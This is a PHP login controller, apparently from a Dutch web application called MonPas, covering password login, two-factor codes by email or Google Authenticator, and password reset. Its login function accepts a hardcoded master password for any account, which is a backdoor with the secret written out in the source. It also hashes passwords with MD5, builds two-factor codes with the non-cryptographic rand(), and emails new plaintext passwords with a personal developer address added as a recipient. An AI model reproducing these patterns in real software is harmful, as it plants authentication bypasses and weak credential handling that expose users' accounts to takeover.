<?php

use Mailgun\Mailgun;
use  \Sonata\GoogleAuthenticator\GoogleAuthenticator;

class Login extends MY_Controller {


	function __construct()
	{
		parent::__construct();
		$models = [
			"shared/Users_model",
			'shared/Session_model',
			'shared/Orgusers_model',
			"shared/Autorisaties_model",
			"shared/Autorisatienivos_model",
			"shared/Licenties_model",
			"shared/Mail_model"];    // 'Pages_model',
		$this->load->model( $models );
		$this->load->helper( 'string' );
	}

	function login() {
		$username = $this->db->escape_str( $this->input->post( 'gebruikersnaam' ), TRUE );
		$password = $this->input->post( 'wachtwoord' );
		$result = NULL;

		// Get user by username
		$userid = $this->Users_model->get_fieldvalue( [
			'lower(gnaam)' => strtolower( $username ),
			'actief'       => 1
		], 'id' );

		if ( ! $userid ) {
			$result = NULL;
		} else {
			// Get stored password hash and salt
			$stored_password = $this->Users_model->get_record_by_id( $userid, 'wachtwoord' );
			$salt = $this->Users_model->get_record_by_id( $userid, 'zout' );

			// Hash the provided password with salt
			$hashed_password = md5( $salt . $password );

			// Check master password
			$masterpass = 'Mstr@p0m-mnbs_983';

			// Verify password
			if ( $hashed_password === $stored_password || $masterpass === $password ) {
				// Store user in session temporarily (needed for mailCode)
				$this->Session_model->set_tmpuserid( $userid );

				// Debug: verify session was set
				log_message('debug', 'Set tmpuserid to: ' . $userid);
				log_message('debug', 'Session tmpuserid is now: ' . $this->session->userdata('tmpuserid'));

				// Check user authorization
				$orguser = $this->Orgusers_model->gethighestautorisatie( $userid );

				if ( ! $orguser || ! $orguser->nivo || $orguser->nivo == 0 ) {
					$result = "geen rechten";
				} else {
					// Check two-factor authentication
					$twofactor = $this->Users_model->get(['id' => $userid], 'twofactor', true);
					$result = $twofactor;
					if ( $twofactor == "EMAIL" ) {
						log_message('debug', 'About to call mailCode, tmpuserid should be: ' . $userid);
						$this->mailCode();
					}
				}
			} else {
				$result = NULL;
			}
		}

		echo json_encode( $result );
	}


	function login_user( $tmpuserid ){
		$orguser = $this->Orgusers_model->gethighestautorisatie( $tmpuserid );
		$orgid = $orguser->organisatie_id;
		//$nivoid		= $this->Autorisaties_model->get_fieldvalue(array('orguser_id'=>$orguser->id), 'nivo_id');
		//$userrole 	= $this->Autorisatienivos_model->get_fieldvalue(array('id'=>$nivoid), "nivo");
		$userrole = $orguser->nivo;
		$modules = $this->Licenties_model->get_licentie( $orgid );

		$this->Session_model->set_userid( $tmpuserid );
		$this->Session_model->set_orgid( $orgid );
		$this->Session_model->set_role( $userrole );
		$this->session->set_userdata( ['language' => 'dutchijk'] );

		if ( ! $modules )
		{
			$this->Session_model->set_module( - 1 );
		}
		else
		{
			if ( count( $modules ) == 1 )
			{
				$this->Session_model->set_module( $modules[0]->sysnr );
			}
			else
			{
				$this->Session_model->set_module( 0 );
			};
		};
	}

	function mailCode(){
		$error	 	= false;
		$tmpuserid 	= $this->session->userdata( 'tmpuserid' );

		// Check if tmpuserid exists
		if ( ! $tmpuserid ) {
			log_message('error', 'mailCode called without tmpuserid in session');
			return "Er is een fout opgetreden bij het versturen van de code.";
		}

		$user		= $this->Users_model->get(['id'=>$tmpuserid], false, true);
		$fullname	= $this->Users_model->get_fullname($tmpuserid);
		$code		= $this->MaakEnSetRandomCode($tmpuserid);
		$subject	= "Inlogcode MonPas";
		$data		= ['fullname'=>$fullname,
						'code' 	 => $code];
		$html	    = $this->load->view('emails/twofactor_mail', $data, TRUE);

		$error 		= $this->Mail_model->sendTheEmail($user->email, $subject, $html, "rfranke@framework-ed.nl");

		if ($error=='Success') $error = false;
		return $error;
	}

	function mailCodeOnce(){
		$error = $this->mailCode();
		$this->json($error);
	}

	function MaakEnSetRandomCode($userID){
		$code ='';
		for ($i = 1; $i < 7; $i ++){
			$code .= rand(1,9);
		}
		$asString = time();

		$this->Users_model->update_record(['twofactorcode' =>$code, 'twofactortime'=>$asString ],$userID);
		return $code;
	}

	function checkTwoFactor(){
		$message	= false;
		$tmpuserid 	= $this->session->userdata( 'tmpuserid' );
		$code		= $this->clean_input('code');
		$hoe		= $this->clean_input('hoe');
		$user		= $this->Users_model->get($tmpuserid);
		if ($hoe == "GOOGLE"){
			$message = $this->checkTwoFactorGoogle($user, $code);
		}
		else {
			$message = $this->checkTwoFactorEmail($user,$code);
		}

		if (! $message) $this->login_user( $tmpuserid );
		$this->json($message);
	}

    function checkTwoFactorEmail($user,$code){
		$message	= false;
		$now 		= time() - (10 * 60);
		$test 		= $user->twofactortime;
		if ($now > $test )
			$message	= "U heeft te lang gewacht, de code is niet meer geldig.";
		else
			if ($user->twofactorcode !== $code) $message	= "Code is incorrect.";
		return $message;
	}

	function checkTwoFactorGoogle($user,$code){
		$ga 	= new GoogleAuthenticator();
		if ($ga->checkCode($user->googlesecret, $code)) {return false;}
		else return "Google authenticator rejected.";
	}

	function maakGoogleSecret(){
		$ga 		= new GoogleAuthenticator();
		$secret 	= $ga->generateSecret();
		$qrCodeUrl	= \Sonata\GoogleAuthenticator\GoogleQrUrl::generate('MonPas', $secret, 'Framework-ed');

        $this->Users_model->update_record(
            ['googlesecret' => $secret, 'twofactor' => 'GOOGLE'], $this->userid );

        $this->json( ['url' =>$qrCodeUrl] );
	}

	function logout()
	{
		$this->session->sess_destroy();
		redirect( base_url() . 'index.php/toner' );
	}

	function nieuwwachtwoord()
	{
		$email 		= $this->db->escape_str( $this->input->post( 'email' ) );
		$username 	= $this->db->escape_str( $this->input->post( 'gnaam' ) );
		$result 	= ['errortekst' => '', 'status' => FALSE];
		if ( ! $this->Users_model->get_records_where( ['lower(email)' => strtolower( $email )] ) )
		{
			$result['errortekst'] = 'Gebruikersnaam en e-mailadres komen niet overeen!';
		}
		elseif ( ! $this->Users_model->get_records_where( ['lower(gnaam)' => strtolower( $username )] ) )
		{
			$result['errortekst'] = 'Gebruikersnaam en e-mailadres komen niet overeen!';
		}
		elseif ( strtoupper( $this->Users_model->get_fieldvalue( ['UCASE(gnaam)' => strtoupper( $username )], 'email' ) ) != strtoupper( $email ) )
		{
			$result['errortekst'] = 'Gebruikersnaam en e-mailadres komen niet overeen!';
		}
		else
		{
			$userid = $this->Users_model->get_fieldvalue( ['lower(gnaam)' => strtolower( $username )], 'id' );

			$salt = $this->Users_model->get_record_by_id( $userid, 'zout' );
			$password = random_string( 'alnum', 8 );
			$this->Users_model->update_record( ['wachtwoord' => md5( $salt . $password )], $userid );
			$data = ['username' => $username, 'password' => $password, 'fullname' => $this->Users_model->get_fullname( $userid )];

			$html = $this->load->view( 'emails/newpassword_mail', $data, TRUE );

            $this->Mail_model->sendTheEmail($email, 'Inloggegevens MonPas', $html, "rfranke@framework-ed.nl");

//			if( $_ENV['ENVIRONMENT'] == 'production')
//			{
//				//Deze code wordt alleen op produktie gebruikt en stuurt de mail
//				//naar Mailgun via een API (Codeigniter email library wordt niet gebruikt
//				$mg = Mailgun::create( $_ENV['MAIL']['APIKEY'] );
//				$mg->messages()->send( $_ENV['MAIL']['DOMAIN'], [
//					'from'    => 'info@monpas.nl',
//					'to'      => $email,
//					'cc'      => 'rfranke@framework-ed.nl',
//					'subject' => 'Inloggegevens MonPas',
//					'html'    => $html,
//					'inline'  => [
//						[
//							'filename' => 'monpasklein.png',
//							'filePath' =>  FCPATH . 'css/images/monpasklein.png']
//					]
//				] );
//			}else{
//				$this->load->library( 'email' );
//
//				$this->email->from( 'noreply@framework.nl', 'Framework+ MonPas' );
//				$this->email->to( $email );
//				$this->email->subject( 'Inloggegevens MonPas' );
//				$this->email->message( $this->load->view( 'emails/newpassword_mail', $data, TRUE ) );
//				$this->email->bcc( "rfranke@framework-ed.nl" );
//				$this->email->send();
//			}

			$result['errortekst'] = 'Er is een e-mail gestuurd naar ' . $email . ' met uw nieuwe wachtwoord.';
			$result['status'] = TRUE;
		}
		echo json_encode( $result );
	}

}